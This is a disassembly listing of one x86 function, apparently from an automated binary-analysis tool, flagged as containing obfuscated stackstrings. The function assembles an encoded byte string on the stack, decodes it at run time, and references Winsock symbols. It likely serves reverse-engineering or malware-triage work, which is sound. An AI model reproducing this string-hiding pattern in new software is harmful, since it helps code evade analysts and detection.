Function at 0x409340
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xffffffffffffffff
push 0x46e72c
mov eax, dword fs:[0]
push eax
sub esp, 0x138
mov eax, dword [0x4831a0]
xor eax, esp
mov dword [esp + 0x134], eax
push ebx
push esi
push edi
mov eax, dword [0x4831a0]
xor eax, esp
push eax
lea eax, [esp + 0x148]
mov dword fs:[0], eax
mov esi, ecx
lea ecx, [esp + 0x6c]
call fcn.0046a7d0
push 1
push 0x64
push 0x47c65c
push 0x47bc10
lea eax, [esp + 0x44]
push reloc.WS2_32.dll_accept
xor ebx, ebx
push eax
mov dword [esp + 0x168], ebx
call fcn.00467c50
push 1
push 0x14
push 0x47c660
push 0x47bc10
lea ecx, [esp + 0x78]
push reloc.WS2_32.dll_accept
push ecx
mov byte [esp + 0x180], 1
call fcn.00467c50
mov byte [esp + 0x180], 2
mov cl, 0x19
mov al, 0xf6
lea edx, [esp + 0x148]
push 0x29
push edx
mov byte [esp + 0x150], 0x46
mov byte [esp + 0x151], 0xdb
mov byte [esp + 0x152], 0x77
mov byte [esp + 0x153], 0x74
mov byte [esp + 0x154], 0xf1
mov byte [esp + 0x155], 0x58
mov byte [esp + 0x156], 0xae
mov byte [esp + 0x157], 0x1a
mov byte [esp + 0x158], 0xbd
mov byte [esp + 0x159], cl
mov byte [esp + 0x15a], 0x67
mov byte [esp + 0x15b], 0x8d
mov byte [esp + 0x15c], 0xd5
mov byte [esp + 0x15d], 0x81
mov byte [esp + 0x15e], 0x3e
mov byte [esp + 0x15f], al
mov byte [esp + 0x160], 0x11
mov byte [esp + 0x161], 0x87
mov byte [esp + 0x162], al
mov byte [esp + 0x163], 0x95
mov byte [esp + 0x164], 0x8a
mov byte [esp + 0x165], 0x20
mov byte [esp + 0x166], 0x23
mov byte [esp + 0x167], 0x43
mov byte [esp + 0x168], 1
mov byte [esp + 0x169], cl
mov byte [esp + 0x16a], 0x89
mov byte [esp + 0x16b], 0x2f
mov byte [esp + 0x16c], 0x34
mov byte [esp + 0x16d], 0x5a
mov byte [esp + 0x16e], 0x93
mov byte [esp + 0x16f], 0x5d
mov byte [esp + 0x170], 0x4a
mov byte [esp + 0x171], 0x41
mov byte [esp + 0x172], 0xb8
mov byte [esp + 0x173], 0x28
mov byte [esp + 0x174], 0xb2
mov byte [esp + 0x175], 0xbc
mov byte [esp + 0x176], 0xe3
mov byte [esp + 0x177], 0xbe
mov byte [esp + 0x178], 0x1f
mov byte [esp + 0x179], bl
call fcn.00467220
mov ecx, dword [esp + 0x8c]
mov edi, 0x10
add esp, 0x38
cmp dword [esp + 0x68], edi
jae 0x40954f
lea ecx, [esp + 0x54]
mov eax, dword [esp + 0x38]
cmp dword [esp + 0x4c], edi
jae 0x40955d
lea eax, [esp + 0x38]
push ecx
push eax
lea eax, [esp + 0x120]
push eax
lea ecx, [esp + 0x78]
call fcn.0046a940
lea ecx, [esp + 0x6c]
call fcn.0046b860
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x70]
call fcn.0046a040
push 0xffffffffffffffff
push ebx
push eax
mov ecx, esi
mov byte [esp + 0x15c], 3
call fcn.004032c0
cmp dword [esp + 0x30], edi
jb 0x4095ad
mov edx, dword [esp + 0x1c]
push edx
call fcn.00412303
add esp, 4
cmp dword [esi + 0x14], ebx
seta byte [esp + 0x17]
cmp dword [esp + 0x68], edi
jb 0x4095c8
mov eax, dword [esp + 0x54]
push eax
call fcn.00412303
add esp, 4
mov esi, 0xf
mov dword [esp + 0x68], esi
mov dword [esp + 0x64], ebx
mov byte [esp + 0x54], bl
cmp dword [esp + 0x4c], edi
jb 0x4095ec
mov ecx, dword [esp + 0x38]
push ecx
call fcn.00412303
add esp, 4
lea ecx, [esp + 0x6c]
mov dword [esp + 0x4c], esi
mov dword [esp + 0x48], ebx
mov byte [esp + 0x38], bl
call fcn.0046a780
mov al, byte [esp + 0x17]
mov ecx, dword [esp + 0x148]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x134]
xor ecx, esp
call fcn.0041230e
add esp, 0x144
ret